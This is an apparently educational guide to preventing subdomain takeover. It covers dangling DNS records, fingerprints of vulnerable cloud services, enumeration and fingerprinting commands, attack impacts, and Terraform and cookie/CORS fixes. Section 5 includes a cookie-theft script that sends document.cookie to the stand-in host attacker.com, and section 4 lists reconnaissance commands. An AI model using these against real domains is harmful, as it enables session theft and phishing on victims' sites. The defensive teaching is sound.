Subdomain Takeover: Prevention Guide
Table of Contents
1. Introduction to Subdomain Takeover
A subdomain takeover occurs when a DNS record (typically a CNAME) points to an external service that is no longer active or claimed. An attacker can register or claim that external resource, gaining full control of the subdomain under the victim's domain. Because the subdomain is part of the trusted domain (e.g., blog.company.com), the attacker can serve malicious content, steal cookies, bypass CORS policies, and launch convincing phishing attacks — all under the organization's legitimate domain name.
Why This Is Critical
Subdomain takeover gives an attacker a trusted position on your domain. They can: read cookies scoped to the parent domain, bypass same-origin and CORS protections, host phishing pages under your brand, intercept OAuth callbacks, send emails that pass SPF/DKIM validation for your domain, and bypass Content Security Policies that whitelist your domain. Bug bounty programs consistently list subdomain takeover as a high-severity finding.
This guide covers how subdomain takeover works at the DNS level, which cloud services are vulnerable and their fingerprints, how to detect dangling DNS records in your infrastructure, the full impact including cookie theft and phishing, prevention strategies in DNS management and infrastructure-as-code, and automated monitoring to catch vulnerable subdomains before attackers do.
How Subdomain Takeover Works
Step 1: Normal Operation
Step 2: Service Removed (DNS Left Behind)
Step 3: Attacker Claims the Service
Your company decommissions a marketing landing page hosted on Heroku but forgets to remove the DNS CNAME record. What can an attacker do?
2. How Subdomain Takeover Works
Subdomain takeover exploits the relationship between DNS records and the external services they point to. The attack requires two conditions: (1) a DNS record pointing to an external service and (2) that external service is unclaimed or deprovisioned.
DNS record types involved in takeover
1# CNAME Record — Most common takeover vector
2# Points a subdomain to another domain name
3blog.company.com. CNAME company.github.io.
4# If company.github.io is unclaimed → TAKEOVER
5
6# A Record — Points directly to an IP address
7app.company.com. A 52.18.63.100
8# If the IP belongs to a released cloud instance → TAKEOVER
9
10# NS Record — Delegates DNS to another nameserver
11sub.company.com. NS ns1.dnshost.com.
12# If the DNS hosting account is closed → TAKEOVER (highest impact!)
13# Attacker controls ALL records under sub.company.com
14
15# MX Record — Mail exchange
16company.com. MX mail.thirdparty.com.
17# If third-party mail service is cancelled → EMAIL TAKEOVERSubdomain Takeover Requirements
| Condition | Description | Example |
|---|---|---|
| Dangling DNS record | A DNS record points to an external resource that no longer exists | CNAME to deleted GitHub Pages repo |
| Claimable service | The external service allows anyone to register/claim the resource | Creating a new Heroku app matching the hostname |
| No verification | The service does not verify domain ownership (or verification can be bypassed) | GitHub Pages allows any repo to claim any custom domain |
| DNS propagation | The dangling record is actively resolving (not NXDOMAIN at the zone level) | CNAME exists in DNS zone file and responds to queries |
Identifying dangling DNS records
1# Check what a CNAME resolves to
2dig blog.company.com CNAME +short
3# Output: company.github.io.
4
5# Check if the target actually resolves
6dig company.github.io A +short
7# If empty or NXDOMAIN → potential dangling record
8
9# Check HTTP response for fingerprints
10curl -sI https://blog.company.com
11# Look for service-specific error pages:
12# "There isn't a GitHub Pages site here" → GitHub Pages takeover
13# "NoSuchBucket" → S3 bucket takeover
14# "No such app" → Heroku takeover
15
16# Check with host command
17host blog.company.com
18# "has address" → resolving (check if the IP is still yours)
19# "NXDOMAIN" → DNS record exists but target is goneWhat is the difference between a subdomain takeover via CNAME and via NS record delegation?
3. Vulnerable Cloud Services
Not all cloud services are equally vulnerable to subdomain takeover. The risk depends on whether the service allows anyone to claim a custom domain, whether there is ownership verification, and what error fingerprint is shown when the resource is unclaimed.
Cloud Service Vulnerability Matrix
| Service | DNS Record Type | Vulnerable? | Fingerprint / Error Message | Difficulty |
|---|---|---|---|---|
| GitHub Pages | CNAME | Yes | "There isn't a GitHub Pages site here." | Easy — create repo + CNAME file |
| AWS S3 (website) | CNAME | Yes | "NoSuchBucket" (XML response) | Easy — create bucket with same name |
| Heroku | CNAME | Yes | "No such app" or Heroku error page | Easy — add custom domain to any app |
| Azure (various) | CNAME | Yes | "The resource you are looking for has been removed" | Medium — depends on Azure service |
| Shopify | CNAME | Yes | "Sorry, this shop is currently unavailable" | Easy — add domain in Shopify admin |
| Fastly CDN | CNAME | Yes | "Fastly error: unknown domain" | Easy — add domain to Fastly service |
| AWS CloudFront | CNAME | Conditional | Distribution must be deleted; alternate domain not claimed | Hard — needs matching distribution |
| Google Cloud (GCS) | CNAME | Yes | "NoSuchBucket" (XML response) | Easy — create bucket with domain name |
| Pantheon | CNAME | Yes | "404 unknown site" / Pantheon splash | Easy — add domain to Pantheon site |
| Surge.sh | CNAME | Yes | "project not found" | Easy — surge --domain subdomain |
| Zendesk | CNAME | Yes | "Help Center Closed" or Zendesk error | Easy — configure custom host mapping |
| WordPress.com | CNAME | Yes | WordPress.com 404 page | Medium — need WordPress.com business plan |
Services With Domain Verification
Some services have added domain verification to prevent takeover: AWS CloudFront now requires domain validation when adding alternate domain names. Google App Engine requires TXT record verification. Azure App Service added domain verification tokens. However, verification may not be enforced on legacy configurations, and some services still have no protection. Always check the current state of each service — vulnerability status changes over time.
4. Detection & Fingerprinting
Detecting vulnerable subdomains involves enumerating subdomains, checking their DNS records, and fingerprinting the HTTP responses to identify unclaimed services.
Subdomain enumeration techniques
1# Certificate Transparency logs — find all issued certs
2# (Reveals subdomains that had SSL certificates)
3curl -s "https://crt.sh/?q=%.company.com&output=json" | jq -r '.[].name_value' | sort -u
4
5# DNS brute-forcing with common subdomain wordlists
6subfinder -d company.com -silent
7amass enum -d company.com -passive
8gobuster dns -d company.com -w subdomains.txt
9
10# Zone transfer attempt (rarely works, but worth trying)
11dig axfr company.com @ns1.company.com
12
13# Google dorking for subdomains
14# site:*.company.com -www
15
16# SecurityTrails / VirusTotal passive DNS
17# Historical DNS data reveals old subdomains that may still exist
18
19# Combine multiple sources for comprehensive coverage
20subfinder -d company.com -silent | httpx -silent -status-code -title | grep -v "200" # Focus on non-200 responsesFingerprinting vulnerable subdomains
1# Check for common service fingerprints
2# GitHub Pages
3curl -sI https://blog.company.com | grep -i "x-github"
4curl -s https://blog.company.com | grep "There isn't a GitHub Pages site here"
5
6# AWS S3
7curl -s https://assets.company.com | grep "NoSuchBucket"
8curl -s https://assets.company.com | grep "BucketNotFound"
9
10# Heroku
11curl -s https://app.company.com | grep "No such app"
12curl -s https://app.company.com | grep "herokucdn.com"
13
14# Azure
15curl -s https://portal.company.com | grep "has been removed"
16curl -sI https://portal.company.com | grep "Windows-Azure"
17
18# Shopify
19curl -s https://shop.company.com | grep "Sorry, this shop is currently unavailable"
20
21# Fastly
22curl -s https://cdn.company.com | grep "Fastly error: unknown domain"
23
24# Automated tool: subjack
25subjack -w subdomains.txt -t 100 -timeout 30 -ssl -c fingerprints.json -v
26
27# Automated tool: nuclei with takeover templates
28nuclei -l subdomains.txt -t takeovers/You run dig staging.company.com CNAME and get "company-staging.herokuapp.com." Visiting the URL shows "No such app." What should you do?
5. Impact & Attack Scenarios
The impact of subdomain takeover extends far beyond serving a defacement page. Because the attacker operates on a trusted subdomain, they inherit trust relationships that the parent domain has established.
Attack Scenarios After Subdomain Takeover
| Attack | How It Works | Impact |
|---|---|---|
| Cookie Theft | If cookies are set with Domain=.company.com, the attacker's subdomain can read them. Session tokens, CSRF tokens, and authentication cookies are all exposed. | Critical — full account takeover |
| Phishing | Host a convincing login page at blog.company.com. Users trust the domain and enter credentials. SSL certificate can be obtained via Let's Encrypt since DNS resolves to attacker. | High — credential harvesting at scale |
| OAuth/SSO Hijacking | If blog.company.com was registered as an OAuth redirect URI, the attacker intercepts authorization codes and access tokens. | Critical — access to connected services |
| CORS Bypass | If the API has Access-Control-Allow-Origin: *.company.com or allows specific subdomains, the attacker can make cross-origin requests from their takeover domain. | High — API data exfiltration |
| CSP Bypass | If the Content Security Policy includes *.company.com in script-src or connect-src, the attacker can inject scripts from the taken-over subdomain. | High — XSS via CSP bypass |
| Email Interception | With NS delegation takeover, the attacker can set MX records and receive email destined for @sub.company.com. | Critical — email compromise |
| SSL Certificate Issuance | The attacker can obtain valid SSL certificates for the subdomain via HTTP-01 or DNS-01 challenges, making attacks indistinguishable from legitimate traffic. | High — TLS trust established |
Cookie theft via subdomain takeover
1// If cookies are set with Domain=.company.com
2// The attacker's page on blog.company.com can read them:
3
4// Attacker's page hosted on taken-over blog.company.com:
5<script>
6// Read all cookies accessible to this subdomain
7const cookies = document.cookie;
8// This includes cookies set with Domain=.company.com
9
10// Exfiltrate to attacker's server
11fetch('https://attacker.com/steal', {
12 method: 'POST',
13 body: JSON.stringify({
14 cookies: cookies,
15 url: window.location.href,
16 referrer: document.referrer
17 })
18});
19</script>
20
21// ❌ VULNERABLE: Cookie set on the parent domain
22// Set-Cookie: session=abc123; Domain=.company.com; Path=/
23// → Readable by ANY subdomain, including attacker-controlled ones
24
25// ✅ SECURE: Cookie scoped to specific subdomain
26// Set-Cookie: session=abc123; Domain=app.company.com; Path=/
27// → NOT readable by blog.company.comDomain-Scoped Cookies Are the Biggest Risk
Many applications set cookies on the parent domain (Domain=.company.com) for SSO or cross-subdomain functionality. This means any subdomain — including one taken over by an attacker — can read these cookies. Review your cookie configuration and ensure session cookies are scoped to the most specific domain possible. Use the __Host- cookie prefix to prevent subdomain access entirely.
6. Prevention Strategies
Preventing subdomain takeover requires a combination of DNS hygiene, infrastructure-as-code practices, cookie security, and organizational processes.
- Remove DNS records when decommissioning services — This is the most important prevention measure. Before deprovisioning any external service, delete the corresponding DNS record FIRST. Build this into your decommissioning checklist.
- Use infrastructure-as-code (IaC) for DNS — Manage DNS with Terraform, CloudFormation, or Pulumi. This creates an auditable inventory of all DNS records and ties them to the infrastructure they reference. When infrastructure is destroyed, the DNS record is destroyed with it.
- Regularly audit DNS records — Schedule monthly or quarterly audits of all DNS records. For each CNAME, verify the target service is still active and owned by your organization.
- Scope cookies to specific subdomains — Avoid
Domain=.company.comon sensitive cookies. Use__Host-prefix for session cookies. This limits the blast radius of a takeover. - Use domain verification where available — Services like Azure and CloudFront offer domain verification. Enable it even if it adds friction — it prevents unauthorized claiming.
- Claim internal package/service names on public platforms — If you use names like
company-stagingon Heroku, keep placeholder apps on other platforms to prevent others from claiming them.
Terraform: DNS lifecycle management
1# ✅ SECURE: Tie DNS records to the services they reference
2# When the service is destroyed, the DNS record goes with it
3
4resource "aws_s3_bucket" "marketing_site" {
5 bucket = "marketing.company.com"
6}
7
8resource "aws_route53_record" "marketing" {
9 zone_id = aws_route53_zone.main.zone_id
10 name = "marketing.company.com"
11 type = "CNAME"
12 ttl = 300
13 records = [aws_s3_bucket.marketing_site.website_endpoint]
14
15 # When the S3 bucket is destroyed, this record is also destroyed
16 # No dangling DNS record!
17}
18
19# ❌ DANGEROUS: Hardcoded DNS record with no dependency
20resource "aws_route53_record" "old_blog" {
21 zone_id = aws_route53_zone.main.zone_id
22 name = "blog.company.com"
23 type = "CNAME"
24 ttl = 300
25 records = ["company.github.io"]
26 # If GitHub Pages is later removed, this record persists!
27}7. Code & Configuration Review
During code review, watch for DNS changes, cookie configurations, CORS policies, and CSP headers that could create or worsen subdomain takeover vulnerabilities.
Code Review Checklist for Subdomain Takeover
| What to Review | Red Flags | Risk |
|---|---|---|
| DNS / IaC changes | New CNAME pointing to external service without corresponding resource creation in the same changeset | High — potential future dangling record |
| Removing cloud resources | Terraform destroy / service decommission without corresponding DNS record removal | Critical — creates dangling record |
| Cookie configuration | Set-Cookie with Domain=.company.com on sensitive cookies (session, CSRF) | High — exposable via takeover |
| CORS headers | Access-Control-Allow-Origin includes *.company.com or regex matching subdomains | High — API exploitable via takeover |
| CSP headers | script-src, connect-src, or img-src allowing *.company.com | High — XSS via taken-over subdomain |
| OAuth redirect URIs | Redirect URIs registered for subdomains that could be decommissioned | Critical — token theft |
| SPF / DMARC records | SPF includes mechanisms pointing to decommissioned services | Medium — email spoofing |
| Wildcard DNS | Wildcard CNAME (*.company.com → service) creates takeover for ANY unclaimed subdomain | Critical — massive attack surface |
Secure cookie and CORS configuration
1// ❌ VULNERABLE: Cookie accessible from any subdomain
2res.cookie('session', token, {
3 domain: '.company.com', // Any subdomain can read this!
4 httpOnly: true,
5 secure: true,
6});
7
8// ✅ SECURE: Cookie scoped to specific subdomain
9res.cookie('session', token, {
10 domain: 'app.company.com', // Only accessible from app.company.com
11 httpOnly: true,
12 secure: true,
13 sameSite: 'strict',
14});
15
16// ✅ MOST SECURE: Use __Host- prefix (no Domain attribute allowed)
17res.cookie('__Host-session', token, {
18 // __Host- prefix requires: Secure, no Domain, Path=/
19 httpOnly: true,
20 secure: true,
21 path: '/',
22 sameSite: 'strict',
23});
24
25// ❌ VULNERABLE: CORS allows all subdomains
26app.use(cors({
27 origin: /\.company\.com$/, // Matches ANY subdomain!
28}));
29
30// ✅ SECURE: CORS allowlist of specific subdomains
31const ALLOWED_ORIGINS = [
32 'https://app.company.com',
33 'https://api.company.com',
34];
35app.use(cors({
36 origin: (origin, callback) => {
37 if (!origin || ALLOWED_ORIGINS.includes(origin)) {
38 callback(null, true);
39 } else {
40 callback(new Error('Not allowed by CORS'));
41 }
42 },
43}));A PR adds a wildcard CNAME record: *.staging.company.com → company-staging.netlify.app. Is this safe?